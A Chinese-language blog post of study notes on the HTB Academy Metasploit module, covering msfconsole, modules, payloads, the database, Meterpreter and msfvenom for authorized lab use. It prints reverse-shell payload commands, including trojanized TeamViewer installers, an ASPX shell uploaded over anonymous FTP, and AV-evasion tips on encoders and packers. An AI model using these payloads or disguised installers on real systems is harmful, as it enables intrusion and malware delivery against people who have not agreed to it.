空想网安の乌托邦
首页小说读书项目归档照片墙音乐说说杂谈关于
封面

HTB:使用 Metasploit 框架

写作时间:2026-09-20 21:01:55
# 网安
# HTB Academy

本笔记根据 HTB Academy《使用 Metasploit 框架》模块整理,侧重学习主线、命令逻辑、课程示例和结果判断。所有示例仅适用于明确授权的实验环境。

1. 学习主线

Metasploit Framework 是以 Ruby 编写的模块化渗透测试框架。典型流程:

信息收集 → 搜索模块 → 阅读 info → 选择 Target/Payload → 配置参数 → 执行 → 验证 → 会话/后渗透

模块成功不等于漏洞影响已完整验证;失败也不必然说明目标不存在漏洞,还要检查版本、平台、参数、连通性、权限和 Payload。

2. 项目与目录

Framework 是开源命令行框架;Pro 是商业版,增加任务链、图形界面、报告、代理、VPN Pivot、扫描导入和团队协作等能力。

默认目录:

/usr/share/metasploit-framework

目录 作用 ​modules/​ exploits、auxiliary、payloads、encoders、nops、post ​plugins/​ 可加载到 ​msfconsole​ 的插件 ​scripts/​ Meterpreter、资源文件和 Shell 脚本 ​tools/​ 辅助、开发和枚举工具 ​data/​、​lib/​ 数据文件、公共库和框架代码

ls /usr/share/metasploit-framework/modules
ls /usr/share/metasploit-framework/plugins/
ls /usr/share/metasploit-framework/scripts/
ls /usr/share/metasploit-framework/tools/

​

 

‍Metasploit Framework 与 Pro 的关系

​

3. msfconsole

首次使用:

msfconsole
msfconsole -q

没有安装时:

sudo apt update
sudo apt install metasploit-framework

课程建议用系统包管理器更新,不再依赖旧的 ​msfupdate​。

五阶段:

  1. Enumeration:主机、端口、服务和版本。
  2. Preparation:漏洞、模块、目标和参数。
  3. Exploitation:执行 Exploit/Payload。
  4. Privilege Escalation:已有会话上的提权评估。
  5. Post-Exploitation:信息、凭据、Loot 和 Pivot。

​

 

‍MSF 典型参与流程

​

4. Modules:类型与搜索

类型 用途 ​auxiliary​ 扫描、枚举、模糊测试和辅助操作 ​exploits​ 利用漏洞并传递 Payload ​payloads​ 在目标上执行的代码或连接组件 ​encoders​ 编码、处理坏字符和格式 ​nops​ 提供 NOP sled ​post​ 会话后的信息、凭据和 Pivot ​plugins​ 扩展控制台

格式通常为:

<type>/<platform>/<service>/<name>

常用命令:

help search
search eternalromance
search eternalromance type:exploit
search type:exploit platform:windows cve:2021 rank:excellent
use 0
options
info
set RHOSTS 10.10.10.40
setg RHOSTS 10.10.10.40
setg LHOST 10.10.14.15
run

编号只是当前搜索结果索引。使用前核对完整路径、平台、Rank、Target 和 ​check​ 支持情况。

课程示例先用:

nmap -sV 10.10.10.40

确认 Windows/SMB 445 后再:

search ms17_010

5. Targets

Target 描述 Exploit 对具体系统、版本、架构和内存布局的适配:

show targets
info
set target <编号>

选择依赖操作系统、服务包、架构和版本。缓冲区溢出模块中错误 Target 可能导致崩溃或无会话;​msfpescan​ 可辅助分析 PE 和返回地址,但仍需实测。

6. Payloads

选择 Payload 时考虑系统/架构、连接方向、网络可达性和是否需要 Meterpreter。

  • reverse:目标主动连接攻击机。
  • bind:目标监听,攻击机主动连接。
  • staged:先小连接,再传输完整阶段。
  • stageless:一次性携带完整 Payload。
  • Meterpreter:会话和后渗透能力。
show payloads
set payload windows/meterpreter/reverse_tcp
show options
set LHOST tun0
set LPORT 4444

​LHOST​ 必须是目标可达的攻击机地址,VPN 场景常用 ​tun0​。

7. Encoders

编码器用于架构适配、坏字符处理、输出格式转换和有限的特征变化。多次编码并不等于免杀,现代 AV/EDR 还会使用启发式、机器学习和流量检测。

msfvenom -a x86 --platform windows \
  -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 \
  -b "\x00" -f perl

msfvenom -a x86 --platform windows \
  -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 \
  -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe

8. Database

数据库保存主机、端口、服务、漏洞、凭据、Loot 和备注。

sudo service postgresql status
sudo systemctl start postgresql
sudo msfdb init
sudo msfdb status
sudo msfdb run

验证:

db_status
[*] Connected to msf. Connection type: PostgreSQL.

旧版本可能出现 Bundler ​without​ 方法错误;课程建议先更新 Metasploit,再重新初始化。连接异常时可尝试:

msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q

工作区、导入、扫描、备份:

workspace
workspace -a Target_1
workspace Target_1
db_import Target.xml
hosts
services
db_nmap -sV -sS 10.10.10.8
db_export -f xml backup.xml

优先导入 Nmap XML。常用对象:​hosts​、​services​、​creds​、​loot​、​notes​、​vulns​。筛选后用 ​-R​ 设置 ​RHOSTS​ 前再次核对范围。

9. Plugins 与 Mixins

默认插件目录:

/usr/share/metasploit-framework/plugins
ls /usr/share/metasploit-framework/plugins

加载:

load nessus
nessus_help

自定义插件示例:

git clone https://github.com/darkoperator/Metasploit-Plugins
sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-framework/plugins/pentest.rb
msfconsole -q
load pentest
help

不存在的插件会出现 ​cannot load such file​。Mixins 是 Ruby 的复用机制,通过 ​include​ 让多个模块共享 HTTP 客户端、报告、清理等能力。

10. Sessions 与 Jobs

会话:

sessions
sessions -i 1

Meterpreter 中用 ​background​ 或 ​Ctrl+Z​ 返回控制台,然后可绑定 Post 模块:

use post/multi/recon/local_exploit_suggester
show options
set SESSION 1
run

后台作业:

jobs -h
exploit -j
jobs -l
kill <job_id>
jobs -K

旧监听器占用端口时先检查 Job,避免误杀仍在使用的会话。

11. Meterpreter

Meterpreter 被课程称为后渗透“瑞士军刀”:驻留内存、模块化、通道化通信,MSF6 中使用 AES 保护 Payload 通信。

meterpreter > help

命令 用途 ​getuid​ 查看身份 ​sysinfo​ 系统和架构 ​ps​ 进程列表 ​migrate ​ 迁移进程 ​shell​ 目标系统 Shell ​background​ / ​bg​ 后台会话 ​sessions​ 切换会话 ​load​ 加载扩展 ​run​ 执行脚本/Post ​exit​ 结束会话

课程示例链路:数据库扫描 → 根据服务版本搜索 Exploit → 获得低权限会话 → 用 ​getuid​、​ps​ 判断 → 后台会话 → Local Exploit Suggester → 逐一验证候选提权 → 再收集凭据和秘密。Payload 文件可能在目标磁盘留下残留,清理也可能因权限失败。

12. 编写与导入模块

可从 ExploitDB 的 Metasploit 标签 筛选,也可用:

searchsploit nagios3
searchsploit -t Nagios3 --exclude=".py"

​.rb​ 可能是 Ruby 脚本,但不一定是可加载模块。

用户模块目录:

~/.msf4/modules/

系统目录:

/usr/share/metasploit-framework/modules/

课程示例:

mkdir -p /usr/share/metasploit-framework/modules/exploits/unix/webapp
cp ~/Downloads/9861.rb \
  /usr/share/metasploit-framework/modules/exploits/unix/webapp/nagios3_command_injection.rb

加载:

loadpath /usr/share/metasploit-framework/modules/
reload_all
search nagios3_command_injection
use exploit/unix/webapp/nagios3_command_injection
show options

命名使用小写、数字、下划线和 snake_case。移植 Python/PHP 脚本为 Ruby 模块时,重点调整 ​include​ Mixins、​initialize​ 信息、​register_options​ 和 Exploit 函数。课程用 Bludit 示例说明 HTTP 客户端、PHP Payload、数据库报告等 API 的组合,参考 Metasploit API。

13. MSFVenom

MSFVenom 合并旧的 ​msfpayload​ 与 ​msfencode​,用于生成不同平台、架构、格式的 Payload。

课程的 FTP/IIS 示例:

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=1337 -f aspx > reverse_shell.aspx

上传后启动 Handler:

ftp 10.10.10.5
anonymous
put reverse_shell.aspx

msfconsole -q
use multi/handler
set LHOST 10.10.14.5
set LPORT 1337
run

访问 ​<http://10.10.10.5/reverse_shell.aspx​> 触发连接。Payload 与 Handler 的类型、地址和端口必须一致。

常见参数:​-p​ Payload,​-f​ 格式,​-a​ 架构,​--platform​ 平台,​-e​ 编码器,​-b​ 坏字符,​-i​ 迭代,​-x​ 模板,​-k​ 保留模板行为,​-o​ 输出文件。

14. Firewall 与 IDS/IPS 规避

Endpoint protection 保护单台主机;Perimeter protection 位于网络边界,隔离 outside/public 与 inside/private,DMZ 通常承载对外服务;Security policy 通过 allow/deny 规则控制流量、应用、用户和文件。

课程列出的检测方式:

  1. Signature-based:匹配已知攻击特征。
  2. Heuristic/Statistical:偏离正常基线时告警。
  3. Stateful protocol analysis:判断协议行为是否正常。
  4. SOC live monitoring:人工或自动化实时分析。

课程指出:编码和多次迭代不足以绕过现代 AV;Meterpreter AES 可减少直接匹配流量的机会,但不等于不可检测。严格出站规则下,课程以 DNS 外传案例说明利用允许通道会产生新的审计风险。

模板注入示例:

msfvenom windows/x86/meterpreter_reverse_tcp \
  LHOST=10.10.14.2 LPORT=8080 \
  -k -x ~/Downloads/TeamViewer_Setup.exe \
  -e x86/shikata_ga_nai -a x86 --platform windows \
  -o ~/Desktop/TeamViewer_Setup.exe -i 5

课程还展示了密码归档、去扩展名、再次归档可能改变静态扫描结果,但会触发“无法扫描的压缩包”告警。Packer 会组合程序、Payload 和解压代码;示例工具包括 UPX、Enigma Protector、MPRESS、ExeStealth、Morphine、MEW 和 Themida。编写缓冲区溢出模块时,应随机化 Offset、避免明显 NOP sled,并先在沙箱验证。

15. 2020 年 8 月 MSF 更新

MSF5 会话和 Payload 不与 MSF6 通信机制兼容,需要重新生成和建立。

课程总结:

  • Windows、Python、Java、Mettle、PHP Meterpreter 支持端到端加密。
  • 支持 SMBv3 客户端。
  • Windows shellcode 使用新的多态生成例程。
  • Meterpreter 通信使用 AES,SMBv3 加密增加签名检测难度。
  • Windows Meterpreter DLL 通过序号解析函数;ReflectiveLoader 不再以普通文本存在;命令从字符串改为整数。
  • 旧 Mimikatz 扩展由 Kiwi 继任。
  • shellcode 静态生成改为随机化指令顺序。

16. 可复用清单

1. 明确授权范围与目标
2. 枚举服务与版本
3. 搜索候选模块
4. info / show options / show targets
5. 确认平台、架构、Target、Payload 和连接方向
6. 设置 RHOSTS、RPORT、LHOST、LPORT
7. 必要时先 check,再 run/exploit
8. 检查 sessions、getuid、sysinfo
9. 后台会话并使用 Post 模块继续验证
10. 记录 hosts、services、creds、loot、notes
11. 清理测试痕迹并导出数据库备份

17. 课程结论

Metasploit 的核心价值不是单独运行一个 Exploit,而是把搜索、配置、Payload、数据库、会话、Meterpreter 和后渗透模块组织成可追踪工作流。学习重点是用证据支持模块选择,区分 Exploit 成功、会话建立和权限提升,把规避技术理解为降低特征而非保证免检,并在授权环境中保留可复现记录。

课程中的 IP、端口、用户名、密码、文件名和权限结果均属于实验示例。实际操作前应重新核对目标、模块、Payload、监听地址和授权范围。

‍

avatar

Zybaxy918039

书本,学术,网安之间反复横跳的业余爱好者,目前在自学计算机网络和AI相关知识

RECOMMENDED

HTB Academy:使用 Nmap 进行网络枚举

2026-09-19 22:17:09

HTB Academy:信息收集-网络版(Web Reconnaissance)学习笔记

2026-09-19 22:22:34

HTB Academy:Footprinting(足迹收集)

2026-09-20 12:23:20

Table of Contents